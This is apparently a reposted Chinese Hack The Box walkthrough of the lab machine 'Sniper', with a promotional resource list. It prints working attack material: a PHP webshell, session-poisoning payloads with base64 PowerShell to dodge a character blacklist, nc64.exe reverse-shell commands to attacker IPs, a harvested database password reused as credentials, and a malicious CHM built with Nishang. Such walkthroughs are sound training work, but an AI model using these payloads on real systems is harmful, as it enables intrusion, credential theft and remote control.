【网络安全】HTB靶机渗透系列之Sniper
介紹
Sniper是一個中等難度的靶機,知識點涉及本地文件包含利用、遠程文件包含利用、憑證制作、惡意chm文件利用等。
通關思維導圖
偵查
端口探測
首先使用 nmap 進行端口掃描
nmap -Pn -p- -sV -sC -A 10.10.10.151 -oA nmap_Sniper80端口
訪問后發現是一家名為 Sniper Co. 的公司,主要業務是快遞
點擊Our servers會跳轉至/blog/index.php,點擊User Portal會跳轉至/user/login.php登陸界面
目錄掃描
使用 gobuster 進行目錄掃描
gobuster dir -u http://10.10.10.151 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x phpblog
在博客中存在語言下拉框,分別是
http://10.10.10.151/blog/?lang=blog-en.php http://10.10.10.151/blog/?lang=blog-es.php http://10.10.10.151/blog/?lang=blog-fr.php三種語言界面都在同一個目錄中,可以判斷它是通過 php 代碼include $_GET[‘lang’]對其進行包含,如果過濾不嚴謹的話則可能存在文件包含漏洞
user\
在登陸界面下面有一個注冊界面,嘗試注冊賬戶
使用新注冊的賬戶 admin/admin 登陸其中
上線[iusr]
【→所有資源關注我,私信回復“資料”獲取←】
1、網絡安全學習路線
2、電子書籍(白帽子)
3、安全大廠內部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經典題目解析
7、全套工具包
8、應急響應筆記
驗證文件包含
本地文件包含
首先嘗試讀取上次目錄的index.php
顯示無法讀取,但是使用絕對路徑\windows\win.ini則能夠讀取成功
遠程文件包含
使用 smbserver 在本地開啟 smb 服務,并在該目錄下放置一個文本文件mac.txt,內容為mac is good,
python3 smbserver.py -smb2support mac ~/hackthebox/Machines/Sniper/嘗試請求遠程文件地址:\10.10.14.7\mac\mac.txt
成功請求到mac.txt當中的內容,查看響應發現靶機已向本地發送請求
如果 smb 服務建立出現問題也可以使用以下方式
vim /etc/samba/smb.conf [mac]path = /root/hackthebox/Machines/Sniper/browseable = yesread only = nocreate mask = 777guest ok = yesforce user = nobodyforce group = nogroup開啟服務
service smbd restart service nmbd restart本地文件包含上線
在 Windows 中默認會話地址是\windows\temp目錄,登陸賬戶后我們可以獲取到 PHPSESSID 為8b23pbv8tj4m02qisnape584d8
這樣我們就能夠推斷 PHP 會話文件為\windows\temp\sess_8b23pbv8tj4m02qisnape584d8
接下來嘗試在注冊界面中的用戶名中寫入 PHP 執行代碼
<?php system("whoami")?>雖然能夠成功注冊,但是無法成功登陸
可能在后端代碼中存在一些注入,嘗試混淆語句
a<?php echo `whoami` ?>b成功登陸后請求會話文件發現命令執行成功
嘗試獲取站點下的user目錄文件來了解registration.php的過濾規則,網站默認路徑為\inetpub\wwwroot
a<?php echo `dir \inetpub\wwwroot\user` ?>b在讀取registration.php時遇到了問題,.字符導致內容無法回顯,使用*替代拿到該文件的源代碼
a<?php echo `powershell cat \inetpub\wwwroot\user\registration*php` ?>b黑名單中包含了字符-$[(_.;&"\,因此在命令中不能包含這些特殊字符,通過 base64 編碼可以幫助我們繞過這些字符限制
echo 'cmd /c "\10.10.14.7\mac\nc64.exe -e cmd 10.10.14.7 443"' | iconv -f ascii -t utf-16le | base64 -w0/enc會在執行命令時將 base64 解碼,可注冊為以下代碼
<?php echo `powershell /enc YwBtAGQAIAAvAGMAIAAiAFwAMQAwAC4AMQAwAC4AMQA0AC4ANwBcAG0AYQBjAAoAYwA2ADQALgBlAHgAZQAgAC0AZQAgAGMAbQBkACAAMQAwAC4AMQAwAC4AMQA0AC4ANwAgADQANAAzACIACgA=` ?>在本地監聽443端口
rlwrap nc -nvlp 443登陸成功后請求會話數據
curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\windows\temp\sess_8b23pbv8tj4m02qisnape584d8'但是并沒有返回會話,甚至都沒有請求 smb 服務,于是解碼 base64 并與 0xdf 大神的編碼進行對比
發現我的命令并不完整,原來是\n被轉義了,需要重新編碼
YwBtAGQAIAAvAGMAIAAiAFwAXAAxADAALgAxADAALgAxADQALgA3AFwAbQBhAGMAXABuAGMANgA0AC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADcAIAA0ADQAMwAiAAoA驗證通過\
再次在注冊界面注冊賬戶并請求會話數據
<?php echo `powershell /enc YwBtAGQAIAAvAGMAIAAiAFwAXAAxADAALgAxADAALgAxADQALgA3AFwAbQBhAGMAXABuAGMANgA0AC4AZQB4AGUAIAAtAGUAIABjAG0AZAAgADEAMAAuADEAMAAuADEANAAuADcAIAA0ADQAMwAiAAoA` ?>成功拿到反彈shell
遠程文件包含上線
除了通過本地文件包含,我們還可以利用遠程文件包含,比如包含一個簡單的PHP小馬
<?php system($_REQUEST['cmd'])?>可以請求一個包含 cmd 的參數進行驗證
curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\10.10.14.5\mac\cmd.php' --data-urlencode 'cmd=whoami' | sed -n '/</html>/,/</body>/p'成功執行命令,因此我們可以通過該shell執行反彈shell命令
curl -s -G 'http://10.10.10.151/blog/' --data-urlencode 'lang=\10.10.14.5\mac\cmd.php' --data-urlencode 'cmd=\10.10.14.5\mac\nc64.exe -e cmd 10.10.14.5 4444'在本地監聽4444端口
rlwrap nc -nvlp 4444成功反彈shell
權限提升[chris]
信息收集
在當前站點目錄下發現數據庫的認證信息
type c:\inetpub\wwwroot\user\db.php其中密碼為36mEAhz/B8xQ~2VM,與此同時發現用戶Chris和管理員
dir c:\Users\獲取憑據
有了賬號密碼就可以嘗試通過 powershell 來運行他們的身份,首先查看主機名
powershell PS > hostname制作用戶Chris的身份憑據
PS > $user = "Sniper\Chris" PS > $pass = "36mEAhz/B8xQ~2VM" PS > $secstr = New-Object -TypeName System.Security.SecureString PS > $pass.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)} PS > $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $user, $secstr PS > Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost可以看到運行權限為Chris身份,查看用戶Chris發現Chris屬于遠程管理用戶組
net user chris在當前用戶桌面上獲取第一個flag
PS > Invoke-Command -ScriptBlock { dir c:\Users\chris\Desktop } -Credential $cred -Computer localhost PS > Invoke-Command -ScriptBlock { type c:\Users\chris\Desktop\user.txt } -Credential $cred -Computer localhost成功拿到第一個flag
反彈shell
借助本地的 nc 可以完成反彈shell
PS > Invoke-Command -ScriptBlock { \10.10.14.5\mac\nc64.exe -e cmd 10.10.14.5 5555 } -Credential $cred -Computer localhost在本地監聽5555端口
rlwrap nc -nvlp 5555成功拿到反彈shell
權限提升[administrator]
信息收集
在C:\Docs目錄下存在幾個文件
cd C:\Docs dir查看note.txt,其中 CEO 要求 Chris 刪除文檔
type note.txt在當前用戶的Downloads目錄下存在instructions.chm
cd c:\Users\Chris\Downloads\ dir c:\Users\Chris\Downloads\.chm是 Windows 幫助文件,因此可能是 CEO 正在討論的文檔,將其復制到本地進行檢查
copy instructions.chm \10.10.14.5\mac\instructions.chm惡意chm
Nishang 中的 Out-CHM.ps1 可以幫助我們在.chm文件中加載 payload 運行,首先在 Windows 中導入該文件
Import-Module .\Out-CHM.ps1調用Out-CHM傳遞HTML Help Workshop路徑并加載 payloadc
Out-CHM -Payload "\windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.5 6666" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"在執行之前需要先安裝HTML Help Workshop,否則會出現報錯
成功生成doc.chm
管理員上線
將doc.chm和nc64.exe復制到靶機當中
copy \10.10.14.5\mac\doc.chm . copy \10.10.14.5\mac\nc64.exe \windows\system32\spool\drivers\color\nc64.exe同時開啟監聽
rlwrap nc -nvlp 6666成功拿到管理員權限,在管理員桌面哈桑尋找第二個flag
dir c:\Users\administrator\Desktop type c:\Users\administrator\Desktop\root.txt成功拿到第二個flag
總結:
站點中存在兩個重要的目錄,分別為user和blog,blog目錄在語言切換中使用?lang=xx.php,這很大程度上說明可能存在文件包含漏洞;user目錄則用于用戶注冊和登陸賬號,在之后的會話利用也幫助我們拿到了sessionid,從而確認了session地址。
文件包含漏洞驗證成功后我們發現存在兩種上線方式,一是本地文件包含利用,即通過包含session位置中注冊用戶名(PHP代碼)來達到代碼執行的效果;二是相對簡單的遠程文件包含利用,即只要在本地放置木馬文件請求包含就可獲取權限。
上線靶機后在其中找到數據庫配置文件,里面存在密碼,利用用戶名和密碼通過powershell制作憑證上線chris用戶。最后使用nishang腳本Out-CHM生成惡意chm文件拿到管理員用戶權限。
總結
以上是生活随笔為你收集整理的【网络安全】HTB靶机渗透系列之Sniper的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CVE-2014-4113_Win32k
- 下一篇: 【安全漏洞】CVE-2021-1732